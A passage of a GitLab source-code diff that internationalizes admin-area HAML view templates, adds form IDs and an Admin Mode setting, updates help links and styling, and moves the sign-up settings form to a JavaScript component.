- The default value (1) is a reasonable choice for the majority of GitLab
- installations. Set to 0 to completely disable polling.
+ = _("Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling.")
= link_to sprite_icon('question-o'), help_page_path('administration/polling')
- = f.submit 'Save changes', class: "gl-button btn btn-confirm"
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_registry.html.haml b/app/views/admin/application_settings/_registry.html.haml
index fc03a6dd10c..78d4e8c8cc3 100644
--- a/app/views/admin/application_settings/_registry.html.haml
+++ b/app/views/admin/application_settings/_registry.html.haml
@@ -3,7 +3,7 @@
%fieldset
.form-group
- = f.label :container_registry_token_expire_delay, 'Authorization token duration (minutes)', class: 'label-bold'
+ = f.label :container_registry_token_expire_delay, _('Authorization token duration (minutes)'), class: 'label-bold'
= f.number_field :container_registry_token_expire_delay, class: 'form-control gl-form-input'
.form-group
.form-check
@@ -31,4 +31,4 @@
.form-text.text-muted
= _("The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0.")
- = f.submit 'Save changes', class: "gl-button btn btn-confirm"
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_repository_check.html.haml b/app/views/admin/application_settings/_repository_check.html.haml
index ee0281b6e33..edf6853a1aa 100644
--- a/app/views/admin/application_settings/_repository_check.html.haml
+++ b/app/views/admin/application_settings/_repository_check.html.haml
@@ -3,56 +3,51 @@
%fieldset
.sub-section
- %h4 Repository checks
+ %h4= _("Repository checks")
.form-group
.form-check
= f.check_box :repository_checks_enabled, class: 'form-check-input'
= f.label :repository_checks_enabled, class: 'form-check-label' do
- Enable Repository Checks
+ = _("Enable Repository Checks")
.form-text.text-muted
- GitLab will periodically run
- %a{ href: 'https://git-scm.com/docs/git-fsck', target: 'blank' } 'git fsck'
- in all project and wiki repositories to look for silent disk corruption issues.
+ - link_to_git_fsck = link_to('git fsck', 'https://git-scm.com/docs/git-fsck', target: '_blank')
+ = _("GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues.").html_safe % { link_to_git_fsck: link_to_git_fsck }
.form-group
.form-text.text-muted
- If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database.
+ = _("If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database.")
- clear_repository_checks_link = _('Clear all repository checks')
- clear_repository_checks_message = _('This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?')
= link_to clear_repository_checks_link, clear_repository_check_states_admin_application_settings_path, data: { confirm: clear_repository_checks_message }, method: :put, class: "gl-button btn btn-sm btn-danger"
.sub-section
- %h4 Housekeeping
+ %h4= _("Housekeeping")
.form-group
.form-check
= f.check_box :housekeeping_enabled, class: 'form-check-input'
= f.label :housekeeping_enabled, class: 'form-check-label' do
- Enable automatic repository housekeeping (git repack, git gc)
+ = _("Enable automatic repository housekeeping (git repack, git gc)")
.form-text.text-muted
- If you keep automatic housekeeping disabled for a long time Git
- repository access on your GitLab server will become slower and your
- repositories will use more disk space. We recommend to always leave
- this enabled.
+ = _("If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled.")
.form-check
= f.check_box :housekeeping_bitmaps_enabled, class: 'form-check-input'
= f.label :housekeeping_bitmaps_enabled, class: 'form-check-label' do
- Enable Git pack file bitmap creation
+ = _("Enable Git pack file bitmap creation")
.form-text.text-muted
- Creating pack file bitmaps makes housekeeping take a little longer but
- bitmaps should accelerate 'git clone' performance.
+ = _("Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance.")
.form-group
= f.label :housekeeping_incremental_repack_period, 'Incremental repack period', class: 'label-bold'
= f.number_field :housekeeping_incremental_repack_period, class: 'form-control gl-form-input'
.form-text.text-muted
- Number of Git pushes after which an incremental 'git repack' is run.
+ = _("Number of Git pushes after which an incremental 'git repack' is run.")
.form-group
= f.label :housekeeping_full_repack_period, 'Full repack period', class: 'label-bold'
= f.number_field :housekeeping_full_repack_period, class: 'form-control gl-form-input'
.form-text.text-muted
- Number of Git pushes after which a full 'git repack' is run.
+ = _("Number of Git pushes after which a full 'git repack' is run.")
.form-group
- = f.label :housekeeping_gc_period, 'Git GC period', class: 'label-bold'
+ = f.label :housekeeping_gc_period, _('Git GC period'), class: 'label-bold'
= f.number_field :housekeeping_gc_period, class: 'form-control gl-form-input'
.form-text.text-muted
- Number of Git pushes after which 'git gc' is run.
+ = _("Number of Git pushes after which 'git gc' is run.")
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_signin.html.haml b/app/views/admin/application_settings/_signin.html.haml
index 54bd5cf4072..62d6c973efe 100644
--- a/app/views/admin/application_settings/_signin.html.haml
+++ b/app/views/admin/application_settings/_signin.html.haml
@@ -1,4 +1,4 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-signin-settings'), html: { class: 'fieldset-form' } do |f|
+= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-signin-settings'), html: { class: 'fieldset-form', id: 'signin-settings' } do |f|
= form_errors(@application_setting)
%fieldset
@@ -32,6 +32,15 @@
= f.label :require_two_factor_authentication, class: 'form-check-label' do
Require all users to set up Two-factor authentication
.form-group
+ = f.label :admin_mode, _('Admin Mode'), class: 'label-bold'
+ = sprite_icon('lock', css_class: 'gl-icon')
+ .form-check
+ = f.check_box :admin_mode, class: 'form-check-input'
+ = f.label :admin_mode, class: 'form-check-label' do
+ = _('Require additional authentication for administrative tasks')
+ .form-text.text-muted
+ = link_to _('Learn more.'), help_page_path('user/admin_area/settings/sign_in_restrictions', anchor: 'admin-mode')
+ .form-group
= f.label :unknown_sign_in, _('Email notification for unknown sign-ins'), class: 'label-bold'
.form-check
= f.check_box :notify_on_unknown_sign_in, class: 'form-check-input'
diff --git a/app/views/admin/application_settings/_signup.html.haml b/app/views/admin/application_settings/_signup.html.haml
index 272eba67b1b..a5b47159239 100644
--- a/app/views/admin/application_settings/_signup.html.haml
+++ b/app/views/admin/application_settings/_signup.html.haml
@@ -1,80 +1,20 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-signup-settings'), html: { class: 'fieldset-form' } do |f|
- = form_errors(@application_setting)
+= form_errors(@application_setting)
- %fieldset
- .form-group
- .form-check
- = f.check_box :signup_enabled, class: 'form-check-input', data: { qa_selector: 'signup_enabled_checkbox' }
- = f.label :signup_enabled, class: 'form-check-label' do
- Sign-up enabled
- .form-text.text-muted
- = _("When enabled, any user visiting %{host} will be able to create an account.") % { host: "#{new_user_session_url(host: Gitlab.config.gitlab.host)}" }
- .form-group
- .form-check
- = f.check_box :require_admin_approval_after_user_signup, class: 'form-check-input', data: { qa_selector: 'require_admin_approval_after_user_signup_checkbox' }
- = f.label :require_admin_approval_after_user_signup, class: 'form-check-label' do
- = _('Require admin approval for new sign-ups')
- .form-text.text-muted
- = _("When enabled, any user visiting %{host} and creating an account will have to be explicitly approved by an admin before they can sign in. This setting is effective only if sign-ups are enabled.") % { host: "#{new_user_session_url(host: Gitlab.config.gitlab.host)}" }
- .form-group
- .form-check
- = f.check_box :send_user_confirmation_email, class: 'form-check-input'
- = f.label :send_user_confirmation_email, class: 'form-check-label' do
- Send confirmation email on sign-up
-
- = render_if_exists 'admin/application_settings/new_user_signups_cap', form: f
-
- .form-group
- = f.label :minimum_password_length, _('Minimum password length (number of characters)'), class: 'label-bold'
- = f.number_field :minimum_password_length, class: 'form-control gl-form-input', rows: 4, min: ApplicationSetting::DEFAULT_MINIMUM_PASSWORD_LENGTH, max: Devise.password_length.max
- - password_policy_guidelines_link = link_to _('Password Policy Guidelines'), 'https://about.gitlab.com/handbook/security/#gitlab-password-policy-guidelines', target: '_blank', rel: 'noopener noreferrer nofollow'
- .form-text.text-muted
- = _("See GitLab's %{password_policy_guidelines}").html_safe % { password_policy_guidelines: password_policy_guidelines_link }
- .form-group
- = f.label :domain_allowlist, _('Allowed domains for sign-ups'), class: 'label-bold'
- = f.text_area :domain_allowlist_raw, placeholder: 'domain.com', class: 'form-control gl-form-input', rows: 8
- .form-text.text-muted ONLY users with e-mail addresses that match these domain(s) will be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com
- .form-group
- = f.label :domain_denylist_enabled, _('Domain denylist'), class: 'label-bold'
- .form-check
- = f.check_box :domain_denylist_enabled, class: 'form-check-input'
- = f.label :domain_denylist_enabled, class: 'form-check-label' do
- Enable domain denylist for sign ups
- .form-group
- .form-check
- = radio_button_tag :denylist_type, :file, false, class: 'form-check-input'
- = label_tag :denylist_type_file, class: 'form-check-label' do
- .option-title
- Upload denylist file
- .form-check
- = radio_button_tag :denylist_type, :raw, @application_setting.domain_denylist.present? || @application_setting.domain_denylist.blank?, class: 'form-check-input'
- = label_tag :denylist_type_raw, class: 'form-check-label' do
- .option-title
- Enter denylist manually
- .form-group.js-denylist-file
- = f.label :domain_denylist_file, _('Denylist file'), class: 'label-bold'
- = f.file_field :domain_denylist_file, class: 'form-control gl-form-input', accept: '.txt,.conf'
- .form-text.text-muted Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines or commas for multiple entries.
- .form-group.js-denylist-raw
- = f.label :domain_denylist, _('Denied domains for sign-ups'), class: 'label-bold'
- = f.text_area :domain_denylist_raw, placeholder: 'domain.com', class: 'form-control gl-form-input', rows: 8
- .form-text.text-muted Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com
- .form-group
- = f.label :email_restrictions_enabled, _('Email restrictions'), class: 'label-bold'
- .form-check
- = f.check_box :email_restrictions_enabled, class: 'form-check-input'
- = f.label :email_restrictions_enabled, class: 'form-check-label' do
- = _('Enable email restrictions for sign ups')
- .form-group
- = f.label :email_restrictions, _('Email restrictions for sign-ups'), class: 'label-bold'
- = f.text_area :email_restrictions, class: 'form-control gl-form-input', rows: 4
- .form-text.text-muted
- - supported_syntax_link_url = 'https://github.com/google/re2/wiki/Syntax'
- - supported_syntax_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: supported_syntax_link_url }
- = _('Restricts sign-ups for email addresses that match the given regex. See the %{supported_syntax_link_start}supported syntax%{supported_syntax_link_end} for more information.').html_safe % { supported_syntax_link_start: supported_syntax_link_start, supported_syntax_link_end: '</a>'.html_safe }
-
- .form-group
- = f.label :after_sign_up_text, class: 'label-bold'
- = f.text_area :after_sign_up_text, class: 'form-control gl-form-input', rows: 4
- .form-text.text-muted Markdown enabled
- = f.submit 'Save changes', class: "gl-button btn btn-confirm", data: { qa_selector: 'save_changes_button' }
+#js-signup-form{ data: { host: new_user_session_url(host: Gitlab.config.gitlab.host),
+ settings_path: general_admin_application_settings_path(anchor: 'js-signup-settings'),
+ signup_enabled: @application_setting[:signup_enabled].to_s,
+ require_admin_approval_after_user_signup: @application_setting[:require_admin_approval_after_user_signup].to_s,
+ send_user_confirmation_email: @application_setting[:send_user_confirmation_email].to_s,
+ minimum_password_length: @application_setting[:minimum_password_length],
+ minimum_password_length_min: ApplicationSetting::DEFAULT_MINIMUM_PASSWORD_LENGTH,
+ minimum_password_length_max: Devise.password_length.max,
+ minimum_password_length_help_link: 'https://about.gitlab.com/handbook/security/#gitlab-password-policy-guidelines',
+ domain_allowlist_raw: @application_setting.domain_allowlist_raw,
+ new_user_signups_cap: @application_setting[:new_user_signups_cap].to_s,
+ domain_denylist_enabled: @application_setting[:domain_denylist_enabled].to_s,
+ denylist_type_raw_selected: (@application_setting.domain_denylist.present? || @application_setting.domain_denylist.blank?).to_s,
+ domain_denylist_raw: @application_setting.domain_denylist_raw,
+ email_restrictions_enabled: @application_setting[:email_restrictions_enabled].to_s,
+ supported_syntax_link_url: 'https://github.com/google/re2/wiki/Syntax',
+ email_restrictions: @application_setting.email_restrictions,
+ after_sign_up_text: @application_setting[:after_sign_up_text] } }
diff --git a/app/views/admin/application_settings/_snowplow.html.haml b/app/views/admin/application_settings/_snowplow.html.haml
index e6ac2a4db34..5daf220d81c 100644
--- a/app/views/admin/application_settings/_snowplow.html.haml
+++ b/app/views/admin/application_settings/_snowplow.html.haml
@@ -8,7 +8,7 @@
%p
= _('Configure the %{link} integration.').html_safe % { link: link_to('Snowplow', 'https://snowplowanalytics.com/', target: '_blank') }
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-snowplow-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-snowplow-settings'), html: { class: 'fieldset-form', id: 'snowplow-settings' } do |f|
= form_errors(@application_setting) if expanded
%fieldset
diff --git a/app/views/admin/application_settings/_sourcegraph.html.haml b/app/views/admin/application_settings/_sourcegraph.html.haml
index af25577f058..d87ded09a2b 100644
--- a/app/views/admin/application_settings/_sourcegraph.html.haml
+++ b/app/views/admin/application_settings/_sourcegraph.html.haml
@@ -16,7 +16,7 @@
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-sourcegraph-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-sourcegraph-settings'), html: { class: 'fieldset-form', id: 'sourcegraph-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_terminal.html.haml b/app/views/admin/application_settings/_terminal.html.haml
index 487ce25a4da..482466c4b3b 100644
--- a/app/views/admin/application_settings/_terminal.html.haml
+++ b/app/views/admin/application_settings/_terminal.html.haml
@@ -1,4 +1,4 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-terminal-settings'), html: { class: 'fieldset-form' } do |f|
+= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-terminal-settings'), html: { class: 'fieldset-form', id: 'terminal-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_terms.html.haml b/app/views/admin/application_settings/_terms.html.haml
index 8cc4169b383..fe260812ad9 100644
--- a/app/views/admin/application_settings/_terms.html.haml
+++ b/app/views/admin/application_settings/_terms.html.haml
@@ -1,4 +1,4 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-terms-settings'), html: { class: 'fieldset-form' } do |f|
+= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-terms-settings'), html: { class: 'fieldset-form', id: 'terms-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/_third_party_offers.html.haml b/app/views/admin/application_settings/_third_party_offers.html.haml
index 970c9c6b003..5df2454ed2e 100644
--- a/app/views/admin/application_settings/_third_party_offers.html.haml
+++ b/app/views/admin/application_settings/_third_party_offers.html.haml
@@ -8,7 +8,7 @@
%p
= _('Control the display of third party offers.')
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-third-party-offers-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-third-party-offers-settings'), html: { class: 'fieldset-form', id: 'third-party-offers-settings' } do |f|
= form_errors(@application_setting) if expanded
%fieldset
diff --git a/app/views/admin/application_settings/_usage.html.haml b/app/views/admin/application_settings/_usage.html.haml
index 00306e1ba06..a2d61bd010f 100644
--- a/app/views/admin/application_settings/_usage.html.haml
+++ b/app/views/admin/application_settings/_usage.html.haml
@@ -27,7 +27,7 @@
- usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: usage_ping_path }
%p.mb-2= s_('%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc.').html_safe % { usage_ping_link_start: usage_ping_link_start, usage_ping_link_end: '</a>'.html_safe }
- %button.btn.js-payload-preview-trigger{ type: 'button', data: { payload_selector: ".#{payload_class}" } }
+ %button.gl-button.btn.btn-default.js-payload-preview-trigger{ type: 'button', data: { payload_selector: ".#{payload_class}" } }
.spinner.js-spinner.d-none
.js-text.d-inline= _('Preview payload')
%pre.usage-data.js-syntax-highlight.code.highlight.mt-2.d-none{ class: payload_class, data: { endpoint: usage_data_admin_application_settings_path(format: :html) } }
diff --git a/app/views/admin/application_settings/_visibility_and_access.html.haml b/app/views/admin/application_settings/_visibility_and_access.html.haml
index e51a41d5254..4bf47c3d60d 100644
--- a/app/views/admin/application_settings/_visibility_and_access.html.haml
+++ b/app/views/admin/application_settings/_visibility_and_access.html.haml
@@ -1,4 +1,4 @@
-= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-visibility-settings'), html: { class: 'fieldset-form' } do |f|
+= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-visibility-settings'), html: { class: 'fieldset-form', id: 'visibility-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index aa4cebdb603..919f501d2ee 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
- = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-level-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
@@ -16,4 +16,4 @@
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'masked-variable-requirements'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/admin/application_settings/ci_cd.html.haml b/app/views/admin/application_settings/ci_cd.html.haml
index 485fb71d111..d38b4cba40a 100644
--- a/app/views/admin/application_settings/ci_cd.html.haml
+++ b/app/views/admin/application_settings/ci_cd.html.haml
@@ -2,16 +2,15 @@
- page_title _("CI/CD")
- @content_class = "limit-container-width" unless fluid_layout
-- if ::Gitlab::Ci::Features.instance_variables_ui_enabled?
- %section.settings.no-animate#js-ci-cd-variables{ class: ('expanded' if expanded_by_default?) }
- .settings-header
- = render 'admin/application_settings/ci/header', expanded: expanded_by_default?
- .settings-content
- - if ci_variable_protected_by_default?
- %p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-custom-variable') }
- = s_('Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
- #js-instance-variables{ data: { endpoint: admin_ci_variables_path, group: 'true', maskable_regex: ci_variable_maskable_regex, protected_by_default: ci_variable_protected_by_default?.to_s} }
+%section.settings.no-animate#js-ci-cd-variables{ class: ('expanded' if expanded_by_default?) }
+ .settings-header
+ = render 'admin/application_settings/ci/header', expanded: expanded_by_default?
+ .settings-content
+ - if ci_variable_protected_by_default?
+ %p.settings-message.text-center
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable') }
+ = s_('Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
+ #js-instance-variables{ data: { endpoint: admin_ci_variables_path, group: 'true', maskable_regex: ci_variable_maskable_regex, protected_by_default: ci_variable_protected_by_default?.to_s} }
%section.settings.as-ci-cd.no-animate#js-ci-cd-settings{ class: ('expanded' if expanded_by_default?) }
.settings-header
diff --git a/app/views/admin/application_settings/general.html.haml b/app/views/admin/application_settings/general.html.haml
index 3a14b4fbc7b..86226a9de2f 100644
--- a/app/views/admin/application_settings/general.html.haml
+++ b/app/views/admin/application_settings/general.html.haml
@@ -90,7 +90,7 @@
%p
= _('Manage Web IDE features')
.settings-content
- = form_for @application_setting, url: general_admin_application_settings_path(anchor: "#js-web-ide-settings"), html: { class: 'fieldset-form' } do |f|
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: "#js-web-ide-settings"), html: { class: 'fieldset-form', id: 'web-ide-settings' } do |f|
= form_errors(@application_setting)
%fieldset
diff --git a/app/views/admin/application_settings/integrations.html.haml b/app/views/admin/application_settings/integrations.html.haml
index 949908b09a7..93bc054754e 100644
--- a/app/views/admin/application_settings/integrations.html.haml
+++ b/app/views/admin/application_settings/integrations.html.haml
@@ -13,8 +13,8 @@
.gl-alert-actions
= link_to s_('AdminSettings|Go to General Settings'), general_admin_application_settings_path, class: 'btn gl-alert-action btn-info gl-button'
-%h4= s_('AdminSettings|Apply integration settings to all Projects')
-%p
- = s_('AdminSettings|Integrations configured here will automatically apply to all projects on this instance.')
- = link_to _('Learn more'), integrations_help_page_path, target: '_blank', rel: 'noopener noreferrer'
+%h3= s_('Integrations|Project integration management')
+
+- integrations_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: integrations_help_page_path }
+%p= s_('Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}.').html_safe % { integrations_link_start: integrations_link_start, link_end: '</a>'.html_safe }
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/admin/broadcast_messages/_form.html.haml b/app/views/admin/broadcast_messages/_form.html.haml
index 21908c08690..9a4bb9b0a48 100644
--- a/app/views/admin/broadcast_messages/_form.html.haml
+++ b/app/views/admin/broadcast_messages/_form.html.haml
@@ -1,5 +1,5 @@
.broadcast-message.broadcast-banner-message.gl-alert-warning.js-broadcast-banner-message-preview.gl-mt-3{ style: broadcast_message_style(@broadcast_message), class: ('gl-display-none' unless @broadcast_message.banner? ) }
- = sprite_icon('bullhorn', css_class:'vertical-align-text-top')
+ = sprite_icon('bullhorn', css_class: 'vertical-align-text-top')
.js-broadcast-message-preview
- if @broadcast_message.message.present?
= render_broadcast_message(@broadcast_message)
@@ -7,7 +7,7 @@
Your message here
.d-flex.justify-content-center
.broadcast-message.broadcast-notification-message.preview.js-broadcast-notification-message-preview.mt-2{ class: ('hidden' unless @broadcast_message.notification? ) }
- = sprite_icon('bullhorn', css_class:'vertical-align-text-top')
+ = sprite_icon('bullhorn', css_class: 'vertical-align-text-top')
.js-broadcast-message-preview
- if @broadcast_message.message.present?
= render_broadcast_message(@broadcast_message)
diff --git a/app/views/admin/broadcast_messages/index.html.haml b/app/views/admin/broadcast_messages/index.html.haml
index a14d342bc14..9dce33bf037 100644
--- a/app/views/admin/broadcast_messages/index.html.haml
+++ b/app/views/admin/broadcast_messages/index.html.haml
@@ -2,10 +2,9 @@
- page_title _("Broadcast Messages")
%h3.page-title
- Broadcast Messages
+ = _('Broadcast Messages')
%p.light
- Broadcast messages are displayed for every user and can be used to notify
- users about scheduled maintenance, recent upgrades and more.
+ = _('Broadcast messages are displayed for every user and can be used to notify users about scheduled maintenance, recent upgrades and more.')
= render 'form'
@@ -15,12 +14,12 @@
%table.table.table-responsive
%thead
%tr
- %th Status
- %th Preview
- %th Starts
- %th Ends
- %th Target Path
- %th Type
+ %th= _('Status')
+ %th= _('Preview')
+ %th= _('Starts')
+ %th= _('Ends')
+ %th= _(' Target Path')
+ %th= _(' Type')
%th &nbsp;
%tbody
- @broadcast_messages.each do |message|
@@ -38,7 +37,7 @@
%td
= message.broadcast_type.capitalize
%td.gl-white-space-nowrap.gl-display-flex
- = link_to sprite_icon('pencil-square', css_class: 'gl-icon'), edit_admin_broadcast_message_path(message), title: 'Edit', class: 'btn btn-icon gl-button'
- = link_to sprite_icon('remove', css_class: 'gl-icon'), admin_broadcast_message_path(message), method: :delete, remote: true, title: 'Remove', class: 'js-remove-tr btn btn-icon gl-button btn-danger ml-2'
+ = link_to sprite_icon('pencil-square', css_class: 'gl-icon'), edit_admin_broadcast_message_path(message), title: _('Edit'), class: 'btn btn-icon gl-button'
+ = link_to sprite_icon('remove', css_class: 'gl-icon'), admin_broadcast_message_path(message), method: :delete, remote: true, title: _('Remove'), class: 'js-remove-tr btn btn-icon gl-button btn-danger ml-2'
= paginate @broadcast_messages, theme: 'gitlab'
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index f16158d5656..fa6248c9a3d 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -119,8 +119,7 @@
%p
= link_to _('GitLab'), general_admin_application_settings_path
%span.float-right
- = Gitlab::VERSION
- = "(#{Gitlab.revision})"
+ = link_to_version
%p
= _('GitLab Shell')
%span.float-right
@@ -165,27 +164,30 @@
.gl-card-body
%h4= s_('AdminArea|Latest projects')
- @projects.each do |project|
- %p
- = link_to project.full_name, admin_project_path(project), class: 'str-truncated-60'
- %span.light.float-right
+ .gl-display-flex.gl-py-3
+ .gl-mr-auto.gl-overflow-hidden.gl-text-overflow-ellipsis
+ = link_to project.full_name, admin_project_path(project)
+ %span.gl-white-space-nowrap.gl-text-right
#{time_ago_with_tooltip(project.created_at)}
.col-md-4.gl-mb-6
.gl-card
.gl-card-body
%h4= s_('AdminArea|Latest users')
- @users.each do |user|
- %p
- = link_to [:admin, user], class: 'str-truncated-60' do
- = user.name
- %span.light.float-right
+ .gl-display-flex.gl-py-3
+ .gl-mr-auto.gl-overflow-hidden.gl-text-overflow-ellipsis
+ = link_to [:admin, user] do
+ = user.name
+ %span.gl-white-space-nowrap.gl-text-right
#{time_ago_with_tooltip(user.created_at)}
.col-md-4.gl-mb-6
.gl-card
.gl-card-body
%h4= s_('AdminArea|Latest groups')
- @groups.each do |group|
- %p
- = link_to [:admin, group], class: 'str-truncated-60' do
- = group.full_name
- %span.light.float-right
+ .gl-display-flex.gl-py-3
+ .gl-mr-auto.gl-overflow-hidden.gl-text-overflow-ellipsis
+ = link_to [:admin, group] do
+ = group.full_name
+ %span.gl-white-space-nowrap.gl-text-right
#{time_ago_with_tooltip(group.created_at)}
diff --git a/app/views/admin/deploy_keys/new.html.haml b/app/views/admin/deploy_keys/new.html.haml
index dc49db6557b..0eaf7b60b25 100644
--- a/app/views/admin/deploy_keys/new.html.haml
+++ b/app/views/admin/deploy_keys/new.html.haml
@@ -1,5 +1,5 @@
- page_title _('New Deploy Key')
-%h3.page-title New public deploy key
+%h3.page-title= _('New public deploy key')
%hr
%div
diff --git a/app/views/admin/dev_ops_report/_callout.html.haml b/app/views/admin/dev_ops_report/_callout.html.haml
index 7507f433af8..f313865478d 100644
--- a/app/views/admin/dev_ops_report/_callout.html.haml
+++ b/app/views/admin/dev_ops_report/_callout.html.haml
@@ -1,7 +1,7 @@
.gl-mt-3
.user-callout{ data: { uid: 'dev_ops_report_intro_callout_dismissed' } }
.bordered-box.landing.content-block
- %button.btn.btn-default.close.js-close-callout{ type: 'button',
+ %button.gl-button.btn.btn-default-tertiary.close.js-close-callout{ type: 'button',
'aria-label' => _('Dismiss DevOps Report introduction') }
= sprite_icon('close', size: 16, css_class: 'dismiss-icon')
.user-callout-copy
diff --git a/app/views/admin/groups/_form.html.haml b/app/views/admin/groups/_form.html.haml
index 15306ab7878..84a9b988d22 100644
--- a/app/views/admin/groups/_form.html.haml
+++ b/app/views/admin/groups/_form.html.haml
@@ -3,6 +3,8 @@
= render 'shared/group_form', f: f
= render 'shared/group_form_description', f: f
+ = render 'shared/admin/admin_note_form', f: f
+
= render_if_exists 'shared/old_repository_size_limit_setting', form: f, type: :group
= render_if_exists 'admin/namespace_plan', f: f
diff --git a/app/views/admin/groups/show.html.haml b/app/views/admin/groups/show.html.haml
index f8c490dd948..5f8ec5086bd 100644
--- a/app/views/admin/groups/show.html.haml
+++ b/app/views/admin/groups/show.html.haml
@@ -62,6 +62,7 @@
= link_to sprite_icon('question-o'), help_page_path('topics/git/lfs/index')
= render_if_exists 'namespaces/shared_runner_status', namespace: @group
+ = render_if_exists 'namespaces/additional_minutes_status', namespace: @group
= render 'shared/custom_attributes', custom_attributes: @group.custom_attributes
@@ -103,6 +104,8 @@
%span.monospace= project.full_path + '.git'
.col-md-6
+ = render 'shared/admin/admin_note'
+
- if can?(current_user, :admin_group_member, @group)
.card
.card-header
@@ -124,7 +127,7 @@
.card
.card-header
= html_escape(_("%{group_name} group members")) % { group_name: "<strong>#{html_escape(@group.name)}</strong>".html_safe }
- %span.badge.badge-pill= @group.members.size
+ %span.badge.badge-pill= @group.users_count
.float-right
= link_to group_group_members_path(@group), class: 'btn btn-default gl-button btn-sm' do
= sprite_icon('pencil-square', css_class: 'gl-icon')
diff --git a/app/views/admin/hook_logs/_index.html.haml b/app/views/admin/hook_logs/_index.html.haml
index 5e70e80cff7..61af7535c1e 100644
--- a/app/views/admin/hook_logs/_index.html.haml
+++ b/app/views/admin/hook_logs/_index.html.haml
@@ -1,18 +1,18 @@
.row.gl-mt-3.gl-mb-3
.col-lg-3
%h4.gl-mt-0
- Recent Deliveries
- %p When an event in GitLab triggers a webhook, you can use the request details to figure out if something went wrong.
+ = _('Recent Deliveries')
